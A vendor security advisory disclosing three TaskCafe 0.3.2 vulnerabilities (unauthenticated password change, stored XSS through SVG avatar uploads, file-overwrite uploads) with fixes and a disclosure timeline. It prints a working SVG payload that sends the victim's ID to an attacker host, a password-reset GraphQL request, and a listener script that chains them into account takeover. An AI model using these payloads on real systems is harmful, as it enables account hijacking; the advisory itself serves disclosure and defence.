Bishop Fox named “Leader” in 2024 GigaOm Radar for Attack Surface Management. Read the Report ›

Gauge showing high severity reading for a security advisory for EzAdsPro “BlackBox” application.

Share

The following document describes identified vulnerabilities in the TaskCafe application, version 0.3.2.

Product Vendor

JordanKnott/TaskCafe

Product Description

TaskCafe is an open-source project management tool that uses Kanban boards. The project’s official website is https://github.com/JordanKnott/TaskCafe. The latest version of the application is 0.3.2 and was released on April 28, 2021.

Vulnerabilities List

Three vulnerabilities were identified within the TaskCafe application:

  • Improper Access Controls
  • Stored Cross-site Scripting (XSS)
  • Insecure File Upload

These vulnerabilities are described in the following sections.

Affected Version

All versions prior to and including 0.3.2

Summary of Findings

The improper access control vulnerability allows a remote, unauthenticated attacker to reset any user’s password in the TaskCafe application by leveraging the associated user ID. The user ID can be obtained by exploiting the stored XSS vulnerability, which allows users to upload arbitrary files (including HTML files and malicious SVG files) to the server that would then be web-accessible via the profile photo upload feature. Additionally, any user can overwrite any other user’s profile image.

Impact

The XSS vulnerability, in conjunction with the improper access controls issue, could allow an attacker to take over administrator accounts by uploading a malicious HTML or SVG file containing JavaScript. If an administrator then visited the URL for the uploaded file, such as by clicking on a link in a phishing email, the JavaScript code would execute. Bishop Fox successfully changed the password for an administrator’s account to an attacker-controlled value using this technique. The insecure file upload vulnerability would allow an attacker to replace any existing profile image with file content of the attacker’s choice.

Solution

  • Implement an allowlist model for profile photo uploads, and include only JPEG, GIF, and PNG types on the list.
  • Perform authentication and authorization checks on the server before allowing the client to access sensitive resources or alter data.
  • Generate a unique name or identifier for every uploaded file.

Vulnerabilities

Improper Access Controls

Improper access control in TaskCafe 0.3.2 allows a remote, unauthenticated attacker to change a user's password by knowing the associated user ID. The user ID could be obtained, for example, by exploiting the XSS issue documented in this disclosure and uploading a malicious SVG as a profile picture.

Vulnerability Details

CVE ID: CVE-2023-26770

Vulnerability Type: Improper Access Control

Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)

Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)

Security Risk: ☐ Critical, ☒ High, ☐ Medium, ☐ Low

Vulnerability: CWE-284

TaskCafe’s change password functionality does not perform sufficient authorization checks when a password change request is received. If an attacker obtains the user ID of any user account, they can change that user’s password and use the new password to access the user account.

Bishop Fox demonstrated this vulnerability by sending a modified version of an existing password reset GraphQL request in which the userID parameter had been changed to the user ID of another account, as shown below:

POST /graphql HTTP/1.1
Host: localhost:3333
Content-Length: 301
content-type: application/json
Cookie: authToken=DUMMY
Connection: close

{
    "operationName": "updateUserPassword",
    "variables": {
        "userID": "f426e964-99b7-4ab2-a88d-3b1298062462",
        "password": "exploit"
    },
    "query": "mutation updateUserPassword($userID: UUID!, $password: String!) {\n  updateUserPassword(input: {userID: $userID, password: $password}) {\n    ok\n    __typename\n  }\n}\n"
}

FIGURE 1 - Change password request

The TaskCafe API requires that an authToken cookie be present in password change requests, but does not validate the value of the cookie. Additionally, the API does not validate if the user submitting the request is authorized to change the password for the account associated with the userID value in the request body. As a result, an attacker who obtains the userID value for any other account can obtain access to that account by changing its password to a new value.

The userID value is a random GUID, but an attacker could obtain the value by other means, such as the XSS vulnerability discussed below.

Cross-site scripting (xss)

The TaskCafe 0.3.2 application is affected by a stored XSS vulnerability. TaskCafe’s profile image upload feature does not restrict the type of file that can be uploaded. An authenticated attacker can exploit this vulnerability by uploading a malicious HTML file or SVG image with embedded JavaScript code, and then by attempting to cause other users of the TaskCafe instance to open the URL of the malicious file. For example, the attacker could create a phishing campaign that attempted to convince TaskCafe users at a particular organization to click on a link to the profile picture.

Vulnerability Details

CVE ID: CVE-2023-26771

Vulnerability Type: Cross Site Scripting (XSS)

Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)

Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)

Security Risk: ☐ Critical, ☐ High, ☒ Medium, ☐ Low

Vulnerability: CWE-79

TaskCafe allows users to upload any type of file using the profile image upload feature, including HTML files or SVG files that contain JavaScript code. An attacker could exploit this vulnerability to capture a target user’s authentication details and perform actions in the context of that user.

While authenticated as a user with the member role, Bishop Fox sent the following HTTP POST request containing a JavaScript payload:

POST /users/me/avatar HTTP/1.1
…omitted for brevity…
-----------------------------190781985132541473961961185623 
Content-Disposition: form-data; name="file"; filename="exp1.svg" 
Content-Type: image/svg+xml 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script>
var xhr = new XMLHttpRequest();   // new HttpRequest instance
var theUrl = "/graphql";
xhr.open("POST", theUrl);
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send(JSON.stringify({"query":"query me{\nme{\nuser{\nid\nusername\n}\n}\n}\n"}));
xhr.onload = function () {
    const obj = JSON.parse(xhr.response);
    username = obj.data.me.user.username;
    userId = obj.data.me.user.id;
    var request = new XMLHttpRequest();
    var new_url = "https://192.168.1.65:8888/userId?userId="+userId+"%26username%3d"+username;
    request.open('GET', new_url, true);
    request.send()
};
xhr.send(xhr.response);
</script>
</svg>
-----------------------------190781985132541473961961185623--

FIGURE 2 - Injecting JavaScript payload

The payload above includes JavaScript code that queries the TaskCafe API for the current user’s username and ID, and sends those values to an attacker-controlled server.

The application accepted the request and returned an HTTP response indicating that it had stored the payload, as shown below:

HTTP/1.1 200 OK
Content-Length: 50
…omitted for brevity…
{status:true,interactionId:123aced}

HTTP/1.1 200 OK  
Content-Length: 75 
…omitted for brevity…
{"userID":"7103ccae-77ef-4632-adb6-6c8683689cbe","url":"/uploads/exp1.svg"}

FIGURE 3 - HTTP response returning the user ID and exploit path

Bishop Fox created an example listener script that could collect values sent by the malicious JavaScript. (The script is available in Appendix A of this advisory.) As shown below, if a user logs into TaskCafe using the admin account and accesses the uploaded profile picture, the JavaScript executes and the username and user ID are sent to the attacker’s server:

FIGURE 4 - Username and ID received by the listener script

FIGURE 4 - Username and ID received by the listener script

An attacker could leverage this vulnerability to capture the userID value for another account, then change its password via the first vulnerability discussed in this advisory.

Insecure file upload

The profile image upload feature in TaskCafe 0.3.2 allows users to overwrite existing users’ profile images with other content. An authenticated attacker could use this vulnerability to deface existing profile images, or replace them with malicious content as described in the XSS section of this advisory.

Vulnerability Details

Vulnerability Type: Insecure File Upload

Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)

Impact: ☐ Code execution, ☒ Denial of service, ☐ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)

Security Risk: ☐ Critical, ☐ High, ☒ Medium, ☐ Low

Vulnerability: CWE-434

When uploading a profile image to TaskCafe, the file is always stored using a path that matches the filename in the request. For example, as shown in the request/response pair below, if a user uploads a file named profile.png, it is always stored as uploads/profile.png on the TaskCafe server:

Request

POST /users/me/avatar HTTP/1.1
…omitted for brevity…
Content-Disposition: form-data; name="file"; filename="profile.png"
Content-Type: image/png
…omitted for brevity…

Response

HTTP/1.1 200 OK
Date: Thu, 25 May 2023 23:07:09 GMT
…omitted for brevity…
{"userID":"3f1426ee-2c0b-46ec-bc7c-af1777602f9e","url":"/uploads/profile.png"}

If a file with the same name already exists, TaskCafe overwrites it with the new file, even if the existing file is associated with a different user’s profile. An attacker could exploit this vulnerability by overwriting other users’ profile images with images of their choice to antagonize the other users, or potentially replace any existing profile images in SVG format with malicious files, as discussed in the XSS finding included in this advisory.

Appendix - SERVER.PY

from flask import Flask, request
import requests, argparse, urllib3
from logzero import logger
import logging
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

parser = argparse.ArgumentParser()
parser.add_argument("-d", "--debug", action="store_true", dest="debug_status", default=False)
parser.add_argument("-p", "--port", action="store", dest="port", default=8888)
parser.add_argument("-u", "--url", action="store", dest="TaskCafe_url", default="http://127.0.0.1:3333")
parser.add_argument("-x", "--proxy", action="store_true", dest="proxy", default=False)
args = parser.parse_args()

def start_app():
    app = Flask(__name__)
    def change_password(username, userId, authToken):
        if args.proxy:
            proxies = {
                'http': 'http://127.0.0.1:8080',
                'https': 'http://127.0.0.1:8080',
            }
        else:
            proxies={}
        cookies = {
            "authToken": "%s"%(authToken),
        }
        headers = {
            'Content-Type': 'application/json',
        }
        payload = {
            "operationName": "updateUserPassword",
            "variables": {
                "userID": "%s"%(userId),
                "password": "exploit"
            },
            "query": "mutation updateUserPassword($userID: UUID!, $password: String!) {\n  updateUserPassword(input: {userID: $userID, password: $password}) {\n    ok\n    __typename\n  }\n}\n"
        }
        r = requests.post(url="%s/graphql"%(args.TaskCafe_url), json=payload, cookies=cookies, headers=headers, proxies=proxies, verify=False)
        if r.status_code == 200:
            logger.info("Password for user %s set to \"exploit\""%(username))
        else:
            log.error("Something went wrong changing the password for user %s"%(username))
        return "DONE"
    @app.route("/userId")
    def userId():
        url_data = request.args.get('userId').split('&username=')
        userId = url_data[0]
        username = url_data[1]
        logger.warning("Username %s with ID %s"%(url_data[1], url_data[0]))
        return change_password(username, userId, None)   
    return app

if __name__ == '__main__':
    app = start_app()
    logger.info("Starting app on port %d with Debug %s"%(args.port, args.debug_status))
    app.run(host="0.0.0.0", ssl_context=('cert.pem', 'key.pem'), port=args.port, debug=args.debug_status)

Credits

Timeline

  • 10/19/2022: Initial discovery
  • 11/07/2022: Contact with vendor
  • 12/07/2022: 30-day reminder
  • 01/09/2023: 60-day reminder
  • 02/08/2023: 90-day reminder
  • 02/08/2023: Details submitted to Mitre
  • 03/28/2023: CVE-2023-26770 assigned to Improper Access Controls
  • 04/03/2023: CVE-2023-26771 assigned to Cross-site Scripting
  • 06/20/2023: Vulnerabilities publicly disclosed

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.